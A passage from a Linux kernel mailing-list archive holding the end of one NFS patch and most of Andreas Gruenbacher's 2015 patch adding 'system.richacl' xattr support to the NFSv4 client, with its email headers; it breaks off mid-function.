cpu_to_be32(FATTR4_WORD0_ACL); p = reserve_space(xdr, 4); *p = cpu_to_be32(arg->acl_len); - xdr_write_pages(xdr, arg->acl_pages, arg->acl_pgbase, arg->acl_len); + xdr_write_pages(xdr, arg->acl_pages, 0, arg->acl_len); } static void @@ -2491,7 +2491,7 @@ static void nfs4_xdr_enc_getacl(struct rpc_rqst *req, struct xdr_stream *xdr, encode_getattr_two(xdr, FATTR4_WORD0_ACL, 0, &hdr); xdr_inline_pages(&req->rq_rcv_buf, replen << 2, - args->acl_pages, args->acl_pgbase, args->acl_len); + args->acl_pages, 0, args->acl_len); encode_nops(&hdr); } diff --git a/include/linux/nfs_xdr.h b/include/linux/nfs_xdr.h index 52faf7e..090ade4 100644 --- a/include/linux/nfs_xdr.h +++ b/include/linux/nfs_xdr.h @@ -685,7 +685,6 @@ struct nfs_setaclargs { struct nfs4_sequence_args seq_args; struct nfs_fh * fh; size_t acl_len; - unsigned int acl_pgbase; struct page ** acl_pages; }; @@ -697,7 +696,6 @@ struct nfs_getaclargs { struct nfs4_sequence_args seq_args; struct nfs_fh * fh; size_t acl_len; - unsigned int acl_pgbase; struct page ** acl_pages; }; -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:04:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2DA5529E1A for ; Sun, 11 Oct 2015 18:04:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0EFED8F8049 for ; Sun, 11 Oct 2015 16:04:21 -0700 (PDT) X-ASG-Debug-ID: 1444604657-04cb6c5785a7cd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id EokJtPe9UkbNfANk (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:04:18 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 99A5891E9A; Sun, 11 Oct 2015 23:04:17 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx378016614; Sun, 11 Oct 2015 19:04:10 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 44/46] nfs: Add richacl support Date: Mon, 12 Oct 2015 00:58:55 +0200 X-ASG-Orig-Subj: [PATCH v10 44/46] nfs: Add richacl support Message-Id: <1444604337-17651-45-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604658 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Add support for the "system.richacl" xattr in nfs. The existing "system.nfs4_acl" xattr on nfs doesn't map user and group names to uids and gids; the "system.richacl" xattr does, and only keeps the on-the-wire names when there is no mapping. This allows to copy permissions across different file systems. Signed-off-by: Andreas Gruenbacher --- fs/nfs/inode.c | 3 - fs/nfs/nfs4proc.c | 698 +++++++++++++++++++++++++++++++++------------- fs/nfs/nfs4xdr.c | 179 ++++++++++-- fs/nfs/super.c | 4 +- include/linux/nfs_fs.h | 1 - include/linux/nfs_fs_sb.h | 2 + include/linux/nfs_xdr.h | 9 +- 7 files changed, 673 insertions(+), 223 deletions(-) diff --git a/fs/nfs/inode.c b/fs/nfs/inode.c index 326d9e1..843d15d 100644 --- a/fs/nfs/inode.c +++ b/fs/nfs/inode.c @@ -1852,9 +1852,6 @@ struct inode *nfs_alloc_inode(struct super_block *sb) return NULL; nfsi->flags = 0UL; nfsi->cache_validity = 0UL; -#if IS_ENABLED(CONFIG_NFS_V4) - nfsi->nfs4_acl = NULL; -#endif /* CONFIG_NFS_V4 */ return &nfsi->vfs_inode; } EXPORT_SYMBOL_GPL(nfs_alloc_inode); diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c index eec5c4c..a686251 100644 --- a/fs/nfs/nfs4proc.c +++ b/fs/nfs/nfs4proc.c @@ -55,6 +55,9 @@ #include #include #include +#include +#include +#include #include "nfs4_fs.h" #include "delegation.h" @@ -2982,15 +2985,18 @@ static int _nfs4_server_capabilities(struct nfs_server *server, struct nfs_fh *f res.attr_bitmask[2] &= FATTR4_WORD2_NFS42_MASK; } memcpy(server->attr_bitmask, res.attr_bitmask, sizeof(server->attr_bitmask)); - server->caps &= ~(NFS_CAP_ACLS|NFS_CAP_HARDLINKS| - NFS_CAP_SYMLINKS|NFS_CAP_FILEID| + server->caps &= ~(NFS_CAP_ALLOW_ACLS|NFS_CAP_DENY_ACLS| + NFS_CAP_HARDLINKS|NFS_CAP_SYMLINKS|NFS_CAP_FILEID| NFS_CAP_MODE|NFS_CAP_NLINK|NFS_CAP_OWNER| NFS_CAP_OWNER_GROUP|NFS_CAP_ATIME| NFS_CAP_CTIME|NFS_CAP_MTIME| NFS_CAP_SECURITY_LABEL); - if (res.attr_bitmask[0] & FATTR4_WORD0_ACL && - res.acl_bitmask & ACL4_SUPPORT_ALLOW_ACL) - server->caps |= NFS_CAP_ACLS; + if (res.attr_bitmask[0] & FATTR4_WORD0_ACL) { + if (res.acl_bitmask & ACL4_SUPPORT_ALLOW_ACL) + server->caps |= NFS_CAP_ALLOW_ACLS; + if (res.acl_bitmask & ACL4_SUPPORT_DENY_ACL) + server->caps |= NFS_CAP_DENY_ACLS; + } if (res.has_links != 0) server->caps |= NFS_CAP_HARDLINKS; if (res.has_symlinks != 0) @@ -4518,45 +4524,11 @@ static int nfs4_proc_renew(struct nfs_client *clp, struct rpc_cred *cred) return 0; } -static inline int nfs4_server_supports_acls(struct nfs_server *server) -{ - return server->caps & NFS_CAP_ACLS; -} - -/* Assuming that XATTR_SIZE_MAX is a multiple of PAGE_SIZE, and that - * it's OK to put sizeof(void) * (XATTR_SIZE_MAX/PAGE_SIZE) bytes on - * the stack. +/* A arbitrary limit; we allocate at most DIV_ROUND_UP(NFS4ACL_SIZE_MAX, + * PAGE_SIZE) pages and put an array of DIV_ROUND_UP(NFS4ACL_SIZE_MAX, + * PAGE_SIZE) pages on the stack when encoding or decoding acls. */ -#define NFS4ACL_MAXPAGES DIV_ROUND_UP(XATTR_SIZE_MAX, PAGE_SIZE) - -static int buf_to_pages_noslab(const void *buf, size_t buflen, - struct page **pages) -{ - struct page *newpage, **spages; - int rc = 0; - size_t len; - spages = pages; - - do { - len = min_t(size_t, PAGE_SIZE, buflen); - newpage = alloc_page(GFP_KERNEL); - - if (newpage == NULL) - goto unwind; - memcpy(page_address(newpage), buf, len); - buf += len; - buflen -= len; - *pages++ = newpage; - rc++; - } while (buflen != 0); - - return rc; - -unwind: - for(; rc > 0; rc--) - __free_page(spages[rc-1]); - return -ENOMEM; -} +#define NFS4ACL_SIZE_MAX 65536 struct nfs4_cached_acl { int cached; @@ -4564,66 +4536,9 @@ struct nfs4_cached_acl { char data[0]; }; -static void nfs4_set_cached_acl(struct inode *inode, struct nfs4_cached_acl *acl) -{ - struct nfs_inode *nfsi = NFS_I(inode); - - spin_lock(&inode->i_lock); - kfree(nfsi->nfs4_acl); - nfsi->nfs4_acl = acl; - spin_unlock(&inode->i_lock); -} - static void nfs4_zap_acl_attr(struct inode *inode) { - nfs4_set_cached_acl(inode, NULL); -} - -static inline ssize_t nfs4_read_cached_acl(struct inode *inode, char *buf, size_t buflen) -{ - struct nfs_inode *nfsi = NFS_I(inode); - struct nfs4_cached_acl *acl; - int ret = -ENOENT; - - spin_lock(&inode->i_lock); - acl = nfsi->nfs4_acl; - if (acl == NULL) - goto out; - if (buf == NULL) /* user is just asking for length */ - goto out_len; - if (acl->cached == 0) - goto out; - ret = -ERANGE; /* see getxattr(2) man page */ - if (acl->len > buflen) - goto out; - memcpy(buf, acl->data, acl->len); -out_len: - ret = acl->len; -out: - spin_unlock(&inode->i_lock); - return ret; -} - -static void nfs4_write_cached_acl(struct inode *inode, struct page **pages, size_t pgbase, size_t acl_len) -{ - struct nfs4_cached_acl *acl; - size_t buflen = sizeof(*acl) + acl_len; - - if (buflen <= PAGE_SIZE) { - acl = kmalloc(buflen, GFP_KERNEL); - if (acl == NULL) - goto out; - acl->cached = 1; - _copy_from_pages(acl->data, pages, pgbase, acl_len); - } else { - acl = kmalloc(sizeof(*acl), GFP_KERNEL); - if (acl == NULL) - goto out; - acl->cached = 0; - } - acl->len = acl_len; -out: - nfs4_set_cached_acl(inode, acl); + forget_cached_richacl(inode); } /* @@ -4636,121 +4551,269 @@ out: * length. The next getxattr call will then produce another round trip to * the server, this time with the input buf of the required size. */ -static ssize_t __nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t buflen) +static struct richacl *__nfs4_get_acl_uncached(struct inode *inode) { - struct page *pages[NFS4ACL_MAXPAGES] = {NULL, }; + struct nfs_server *server = NFS_SERVER(inode); + struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE)] = {}; struct nfs_getaclargs args = { .fh = NFS_FH(inode), .acl_pages = pages, - .acl_len = buflen, + .acl_len = ARRAY_SIZE(pages) * PAGE_SIZE, }; struct nfs_getaclres res = { - .acl_len = buflen, + .server = server, }; struct rpc_message msg = { .rpc_proc = &nfs4_procedures[NFSPROC4_CLNT_GETACL], .rpc_argp = &args, .rpc_resp = &res, }; - unsigned int npages = DIV_ROUND_UP(buflen, PAGE_SIZE); - int ret = -ENOMEM, i; + int err, i; - /* As long as we're doing a round trip to the server anyway, - * let's be prepared for a page of acl data. */ - if (npages == 0) - npages = 1; - if (npages > ARRAY_SIZE(pages)) - return -ERANGE; - - for (i = 0; i < npages; i++) { - pages[i] = alloc_page(GFP_KERNEL); - if (!pages[i]) + if (ARRAY_SIZE(pages) > 1) { + /* for decoding across pages */ + res.acl_scratch = alloc_page(GFP_KERNEL); + err = -ENOMEM; + if (!res.acl_scratch) goto out_free; } - /* for decoding across pages */ - res.acl_scratch = alloc_page(GFP_KERNEL); - if (!res.acl_scratch) - goto out_free; - - args.acl_len = npages * PAGE_SIZE; - - dprintk("%s buf %p buflen %zu npages %d args.acl_len %zu\n", - __func__, buf, buflen, npages, args.acl_len); - ret = nfs4_call_sync(NFS_SERVER(inode)->client, NFS_SERVER(inode), + dprintk("%s args.acl_len %zu\n", + __func__, args.acl_len); + err = nfs4_call_sync(NFS_SERVER(inode)->client, NFS_SERVER(inode), &msg, &args.seq_args, &res.seq_res, 0); - if (ret) + if (err) goto out_free; - /* Handle the case where the passed-in buffer is too short */ - if (res.acl_flags & NFS4_ACL_TRUNC) { - /* Did the user only issue a request for the acl length? */ - if (buf == NULL) - goto out_ok; - ret = -ERANGE; - goto out_free; - } - nfs4_write_cached_acl(inode, pages, res.acl_data_offset, res.acl_len); - if (buf) { - if (res.acl_len > buflen) { - ret = -ERANGE; - goto out_free; - } - _copy_from_pages(buf, pages, res.acl_data_offset, res.acl_len); - } -out_ok: - ret = res.acl_len; + richacl_compute_max_masks(res.acl); + /* FIXME: Set inode->i_mode from res->mode? */ + set_cached_richacl(inode, res.acl); + err = 0; + out_free: - for (i = 0; i < npages; i++) - if (pages[i]) - __free_page(pages[i]); + if (err) { + richacl_put(res.acl); + res.acl = ERR_PTR(err); + } + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) + __free_page(pages[i]); if (res.acl_scratch) __free_page(res.acl_scratch); - return ret; + return res.acl; } -static ssize_t nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t buflen) +static struct richacl *nfs4_get_acl_uncached(struct inode *inode) { struct nfs4_exception exception = { }; - ssize_t ret; + struct richacl *acl; do { - ret = __nfs4_get_acl_uncached(inode, buf, buflen); - trace_nfs4_get_acl(inode, ret); - if (ret >= 0) + acl = __nfs4_get_acl_uncached(inode); + trace_nfs4_get_acl(inode, IS_ERR(acl) ? PTR_ERR(acl) : 0); + if (!IS_ERR(acl)) break; - ret = nfs4_handle_exception(NFS_SERVER(inode), ret, &exception); + acl = ERR_PTR(nfs4_handle_exception(NFS_SERVER(inode), + PTR_ERR(acl), &exception)); } while (exception.retry); - return ret; + return acl; } -static ssize_t nfs4_proc_get_acl(struct inode *inode, void *buf, size_t buflen) +static struct richacl *nfs4_proc_get_acl(struct inode *inode) { struct nfs_server *server = NFS_SERVER(inode); + struct richacl *acl; int ret; - if (!nfs4_server_supports_acls(server)) - return -EOPNOTSUPP; + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) + return ERR_PTR(-EOPNOTSUPP); ret = nfs_revalidate_inode(server, inode); if (ret < 0) - return ret; + return ERR_PTR(ret); if (NFS_I(inode)->cache_validity & NFS_INO_INVALID_ACL) nfs_zap_acl_cache(inode); - ret = nfs4_read_cached_acl(inode, buf, buflen); - if (ret != -ENOENT) - /* -ENOENT is returned if there is no ACL or if there is an ACL - * but no cached acl data, just the acl length */ - return ret; - return nfs4_get_acl_uncached(inode, buf, buflen); + acl = get_cached_richacl(inode); + if (acl != ACL_NOT_CACHED) + return acl; + return nfs4_get_acl_uncached(inode); +} + +static int +richacl_supported(struct nfs_server *server, struct richacl *acl) +{ + struct richace *ace; + + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) + return -EOPNOTSUPP; + + richacl_for_each_entry(ace, acl) { + if (richace_is_allow(ace)) { + if (!(server->caps & NFS_CAP_ALLOW_ACLS)) + return -EINVAL; + } else if (richace_is_deny(ace)) { + if (!(server->caps & NFS_CAP_DENY_ACLS)) + return -EINVAL; + } else + return -EINVAL; + } + return 0; } -static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t buflen) +static int +nfs4_encode_user(struct xdr_stream *xdr, const struct nfs_server *server, + kuid_t uid) +{ + char name[IDMAP_NAMESZ]; + int len; + __be32 *p; + + len = nfs_map_uid_to_name(server, uid, name, IDMAP_NAMESZ); + if (len < 0) { + dprintk("nfs: couldn't resolve uid %d to string\n", + from_kuid(&init_user_ns, uid)); + return -ENOENT; + } + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + p = xdr_encode_opaque(p, name, len); + return 0; +} + +static int +nfs4_encode_group(struct xdr_stream *xdr, const struct nfs_server *server, + kgid_t gid) +{ + char name[IDMAP_NAMESZ]; + int len; + __be32 *p; + + len = nfs_map_gid_to_group(server, gid, name, IDMAP_NAMESZ); + if (len < 0) { + dprintk("nfs: couldn't resolve gid %d to string\n", + from_kgid(&init_user_ns, gid)); + return -ENOENT; + } + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + p = xdr_encode_opaque(p, name, len); + return 0; +} + +static unsigned int +nfs4_ace_mask(int minorversion) +{ + return minorversion == 0 ? NFS40_ACE_MASK_ALL : NFS4_ACE_MASK_ALL; +} + +static int +nfs4_encode_ace_who(struct xdr_stream *xdr, const struct nfs_server *server, + struct richace *ace, struct richacl *acl) +{ + const char *who; + __be32 *p; + + if (ace->e_flags & RICHACE_SPECIAL_WHO) { + unsigned int special_id = ace->e_id.special; + const char *who; + unsigned int len; + + if (!nfs4acl_special_id_to_who(special_id, &who, &len)) { + WARN_ON_ONCE(1); + return -EIO; + } + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + xdr_encode_opaque(p, who, len); + return 0; + } else { + who = richace_unmapped_identifier(ace, acl); + if (who) { + unsigned int len = strlen(who); + + p = xdr_reserve_space(xdr, 4 + len); + if (!p) + return -EIO; + xdr_encode_opaque(p, who, len); + return 0; + } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) + return nfs4_encode_group(xdr, server, ace->e_id.gid); + else + return nfs4_encode_user(xdr, server, ace->e_id.uid); + } +} + +static int +nfs4_encode_acl(struct page **pages, unsigned int len, struct richacl *acl, + const struct nfs_server *server) +{ + int minorversion = server->nfs_client->cl_minorversion; + unsigned int ace_mask = nfs4_ace_mask(minorversion); + struct xdr_stream xdr; + struct xdr_buf buf; + __be32 *p; + struct richace *ace; + + /* Reject acls not understood by the server */ + if (server->attr_bitmask[1] & FATTR4_WORD1_DACL) { + BUILD_BUG_ON(NFS4_ACE_MASK_ALL != RICHACE_VALID_MASK); + } else { + if (acl->a_flags) + return -EINVAL; + richacl_for_each_entry(ace, acl) { + if (ace->e_flags & RICHACE_INHERITED_ACE) + return -EINVAL; + } + } + richacl_for_each_entry(ace, acl) { + if (ace->e_mask & ~ace_mask) + return -EINVAL; + } + + xdr_init_encode_pages(&xdr, &buf, pages, len); + + if (server->attr_bitmask[1] & FATTR4_WORD1_DACL) { + p = xdr_reserve_space(&xdr, 4); + if (!p) + goto fail; + *p = cpu_to_be32(acl ? acl->a_flags : 0); + } + + p = xdr_reserve_space(&xdr, 4); + if (!p) + goto fail; + if (!acl) { + *p++ = cpu_to_be32(0); + return buf.len; + } + *p++ = cpu_to_be32(acl->a_count); + + richacl_for_each_entry(ace, acl) { + p = xdr_reserve_space(&xdr, 4*3); + if (!p) + goto fail; + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & + ~(RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)); + *p++ = cpu_to_be32(ace->e_mask & NFS4_ACE_MASK_ALL); + if (nfs4_encode_ace_who(&xdr, server, ace, acl) != 0) + goto fail; + } + + return buf.len; + +fail: + return -ENOMEM; +} + +static int __nfs4_proc_set_acl(struct inode *inode, struct richacl *acl) { struct nfs_server *server = NFS_SERVER(inode); - struct page *pages[NFS4ACL_MAXPAGES]; + struct page *pages[DIV_ROUND_UP(NFS4ACL_SIZE_MAX, PAGE_SIZE) + 1 /* scratch */] = {}; struct nfs_setaclargs arg = { + .server = server, .fh = NFS_FH(inode), .acl_pages = pages, - .acl_len = buflen, }; struct nfs_setaclres res; struct rpc_message msg = { @@ -4758,16 +4821,20 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl .rpc_argp = &arg, .rpc_resp = &res, }; - unsigned int npages = DIV_ROUND_UP(buflen, PAGE_SIZE); int ret, i; - if (!nfs4_server_supports_acls(server)) - return -EOPNOTSUPP; - if (npages > ARRAY_SIZE(pages)) - return -ERANGE; - i = buf_to_pages_noslab(buf, buflen, arg.acl_pages); - if (i < 0) - return i; + ret = richacl_supported(server, acl); + if (ret) + return ret; + + ret = nfs4_encode_acl(pages, NFS4ACL_SIZE_MAX, acl, server); + if (ret < 0) { + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) + put_page(pages[i]); + return ret; + } + arg.acl_len = ret; + nfs4_inode_return_delegation(inode); ret = nfs4_call_sync(server->client, server, &msg, &arg.seq_args, &res.seq_res, 1); @@ -4775,8 +4842,8 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl * Free each page after tx, so the only ref left is * held by the network stack */ - for (; i > 0; i--) - put_page(pages[i-1]); + for (i = 0; i < ARRAY_SIZE(pages) && pages[i]; i++) + put_page(pages[i]); /* * Acl update can result in inode attribute update. @@ -4790,12 +4857,12 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl return ret; } -static int nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t buflen) +static int nfs4_proc_set_acl(struct inode *inode, struct richacl *acl) { struct nfs4_exception exception = { }; int err; do { - err = __nfs4_proc_set_acl(inode, buf, buflen); + err = __nfs4_proc_set_acl(inode, acl); trace_nfs4_set_acl(inode, err); err = nfs4_handle_exception(NFS_SERVER(inode), err, &exception); @@ -6257,34 +6324,283 @@ nfs4_release_lockowner(struct nfs_server *server, struct nfs4_lock_state *lsp) rpc_call_async(server->client, &msg, 0, &nfs4_release_lockowner_ops, data); } +static int nfs4_xattr_set_richacl(struct dentry *dentry, const char *key, + const void *buf, size_t buflen, + int flags, int handler_flags) +{ + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + + if (strcmp(key, "") != 0) + return -EINVAL; + + if (buf) { + acl = richacl_from_xattr(&init_user_ns, buf, buflen); + if (IS_ERR(acl)) + return PTR_ERR(acl); + error = richacl_apply_masks(&acl, inode->i_uid); + } else { + /* + * "Remove the acl"; only permissions granted by the mode + * remain. We are using the cached mode here which could be + * outdated; should we do a GETATTR first to narrow down the + * race window? + */ + acl = richacl_from_mode(inode->i_mode); + error = 0; + } + + if (!error) + error = nfs4_proc_set_acl(inode, acl); + richacl_put(acl); + return error; +} + +static int nfs4_xattr_get_richacl(struct dentry *dentry, const char *key, + void *buf, size_t buflen, int handler_flags) +{ + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + umode_t mode = inode->i_mode & S_IFMT; + + if (strcmp(key, "") != 0) + return -EINVAL; + + acl = nfs4_proc_get_acl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + error = -ENODATA; + if (richacl_equiv_mode(acl, &mode) == 0 && + ((mode ^ inode->i_mode) & S_IRWXUGO) == 0) + goto out; + error = richacl_to_xattr(&init_user_ns, acl, buf, buflen); +out: + richacl_put(acl); + return error; +} + +static size_t nfs4_xattr_list_richacl(struct dentry *dentry, char *list, + size_t list_len, const char *name, + size_t name_len, int handler_flags) +{ + struct nfs_server *server = NFS_SERVER(d_inode(dentry)); + size_t len = sizeof(XATTR_NAME_RICHACL); + + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) + return 0; + + if (list && len <= list_len) + memcpy(list, XATTR_NAME_RICHACL, len); + return len; +} + #define XATTR_NAME_NFSV4_ACL "system.nfs4_acl" +static int richacl_to_nfs4_acl(struct nfs_server *server, + const struct richacl *acl, + void *buf, size_t buflen) +{ + const struct richace *ace; + __be32 *p = buf; + size_t size = 0; + + size += sizeof(*p); + if (buflen >= size) + *p++ = cpu_to_be32(acl->a_count); + + richacl_for_each_entry(ace, acl) { + char who_buf[IDMAP_NAMESZ]; + const char *who = who_buf; + int who_len; + + size += 3 * sizeof(*p); + if (buflen >= size) { + *p++ = cpu_to_be32(ace->e_type); + *p++ = cpu_to_be32(ace->e_flags & + ~(RICHACE_INHERITED_ACE | + RICHACE_UNMAPPED_WHO | + RICHACE_SPECIAL_WHO)); + *p++ = cpu_to_be32(ace->e_mask); + } + + if (richace_is_unix_user(ace)) { + who_len = nfs_map_uid_to_name(server, ace->e_id.uid, + who_buf, sizeof(who_buf)); + if (who_len < 0) + return -EIO; + } else if (richace_is_unix_group(ace)) { + who_len = nfs_map_gid_to_group(server, ace->e_id.gid, + who_buf, sizeof(who_buf)); + if (who_len < 0) + return -EIO; + } else if (ace->e_flags & RICHACE_SPECIAL_WHO) { + if (!nfs4acl_special_id_to_who(ace->e_id.special, + &who, &who_len)) + return -EIO; + } else { + who = richace_unmapped_identifier(ace, acl); + if (who) + who_len = strlen(who); + else + return -EIO; + } + + size += sizeof(*p) + ALIGN(who_len, sizeof(*p)); + if (buflen >= size) { + unsigned int padding = -who_len & (sizeof(*p) - 1); + + *p++ = cpu_to_be32(who_len); + memcpy(p, who, who_len); + memset((char *)p + who_len, 0, padding); + p += DIV_ROUND_UP(who_len, sizeof(*p)); + } + } + if (buflen && buflen < size) + return -ERANGE; + return size; +} + +static struct richacl *richacl_from_nfs4_acl(struct nfs_server *server, + const void *buf, size_t buflen) +{ + struct richacl *acl = NULL; + struct richace *ace; + const __be32 *p = buf; + int count, err; + + if (buflen < sizeof(*p)) + return ERR_PTR(-EINVAL); + count = be32_to_cpu(*p++); + if (count > RICHACL_XATTR_MAX_COUNT) + return ERR_PTR(-EINVAL); + buflen -= sizeof(*p); + acl = richacl_alloc(count, GFP_NOFS); + if (!acl) + return ERR_PTR(-ENOMEM); + richacl_for_each_entry(ace, acl) { + u32 who_len, size; + int special_id; + char *who; + + err = -EINVAL; + if (buflen < 4 * sizeof(*p)) + goto out; + ace->e_type = be32_to_cpu(*p++); + ace->e_flags = be32_to_cpu(*p++); + if (ace->e_flags & (RICHACE_SPECIAL_WHO | RICHACE_UNMAPPED_WHO)) + goto out; + ace->e_mask = be32_to_cpu(*p++); + who_len = be32_to_cpu(*p++); + buflen -= 4 * sizeof(*p); + size = ALIGN(who_len, 4); + if (buflen < size || size == 0) + goto out; + who = (char *)p; + special_id = nfs4acl_who_to_special_id(who, who_len); + if (special_id >= 0) { + ace->e_flags |= RICHACE_SPECIAL_WHO; + ace->e_id.special = special_id; + } else { + bool unmappable; + + if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + err = nfs_map_group_to_gid(server, who, who_len, + &ace->e_id.gid); + if (err) { + dprintk("%s: nfs_map_group_to_gid " + "failed!\n", __func__); + goto out; + } + /* FIXME: nfsidmap doesn't distinguish between + group nobody and unmappable groups! */ + unmappable = gid_eq(ace->e_id.gid, + make_kgid(&init_user_ns, 99)); + } else { + err = nfs_map_name_to_uid(server, who, who_len, + &ace->e_id.uid); + if (err) { + dprintk("%s: nfs_map_name_to_gid " + "failed!\n", __func__); + goto out; + } + /* FIXME: nfsidmap doesn't distinguish between + user nobody and unmappable users! */ + unmappable = uid_eq(ace->e_id.uid, + make_kuid(&init_user_ns, 99)); + } + if (unmappable) { + err = -ENOMEM; + if (richacl_add_unmapped_identifier(&acl, &ace, + who, who_len, GFP_NOFS)) + goto out; + } + } + p += size / sizeof(*p); + buflen -= size; + } + err = -EINVAL; + if (buflen != 0) + goto out; + err = 0; + +out: + if (err) { + richacl_put(acl); + acl = ERR_PTR(err); + } + return acl; +} + static int nfs4_xattr_set_nfs4_acl(struct dentry *dentry, const char *key, const void *buf, size_t buflen, int flags, int type) { - if (strcmp(key, "") != 0) + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + + if (!buf || strcmp(key, "") != 0) return -EINVAL; - return nfs4_proc_set_acl(d_inode(dentry), buf, buflen); + acl = richacl_from_nfs4_acl(NFS_SERVER(inode), (void *)buf, buflen); + if (IS_ERR(acl)) + return PTR_ERR(acl); + error = nfs4_proc_set_acl(inode, acl); + richacl_put(acl); + return error; } static int nfs4_xattr_get_nfs4_acl(struct dentry *dentry, const char *key, void *buf, size_t buflen, int type) { + struct inode *inode = d_inode(dentry); + struct richacl *acl; + int error; + if (strcmp(key, "") != 0) return -EINVAL; - - return nfs4_proc_get_acl(d_inode(dentry), buf, buflen); + acl = nfs4_proc_get_acl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + error = richacl_to_nfs4_acl(NFS_SERVER(inode), acl, buf, buflen); + richacl_put(acl); + return error; } static size_t nfs4_xattr_list_nfs4_acl(struct dentry *dentry, char *list, size_t list_len, const char *name, size_t name_len, int type) { + struct nfs_server *server = NFS_SERVER(d_inode(dentry)); size_t len = sizeof(XATTR_NAME_NFSV4_ACL); - if (!nfs4_server_supports_acls(NFS_SERVER(d_inode(dentry)))) + if (!(server->caps & (NFS_CAP_ALLOW_ACLS | NFS_CAP_DENY_ACLS))) return 0; if (list && len <= list_len) @@ -8837,6 +9153,13 @@ const struct nfs_rpc_ops nfs_v4_clientops = { .clone_server = nfs_clone_server, }; +static const struct xattr_handler nfs4_xattr_richacl_handler = { + .prefix = XATTR_NAME_RICHACL, + .list = nfs4_xattr_list_richacl, + .get = nfs4_xattr_get_richacl, + .set = nfs4_xattr_set_richacl, +}; + static const struct xattr_handler nfs4_xattr_nfs4_acl_handler = { .prefix = XATTR_NAME_NFSV4_ACL, .list = nfs4_xattr_list_nfs4_acl, @@ -8845,6 +9168,7 @@ static const struct xattr_handler nfs4_xattr_nfs4_acl_handler = { }; const struct xattr_handler *nfs4_xattr_handlers[] = { + &nfs4_xattr_richacl_handler, &nfs4_xattr_nfs4_acl_handler, #ifdef CONFIG_NFS_V4_SECURITY_LABEL &nfs4_xattr_nfs4_label_handler, diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index eefed15..f2507d7 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -52,6 +52,10 @@ #include #include #include +#include +#include +#include /* for RICHACL_XATTR_MAX_COUNT */ +#include #include "nfs4_fs.h" #include "internal.h" @@ -1650,16 +1654,24 @@ encode_restorefh(struct xdr_stream *xdr, struct compound_hdr *hdr) static void encode_setacl(struct xdr_stream *xdr, struct nfs_setaclargs *arg, struct compound_hdr *hdr) { - __be32 *p; + int attrlen_offset; + __be32 attrlen, 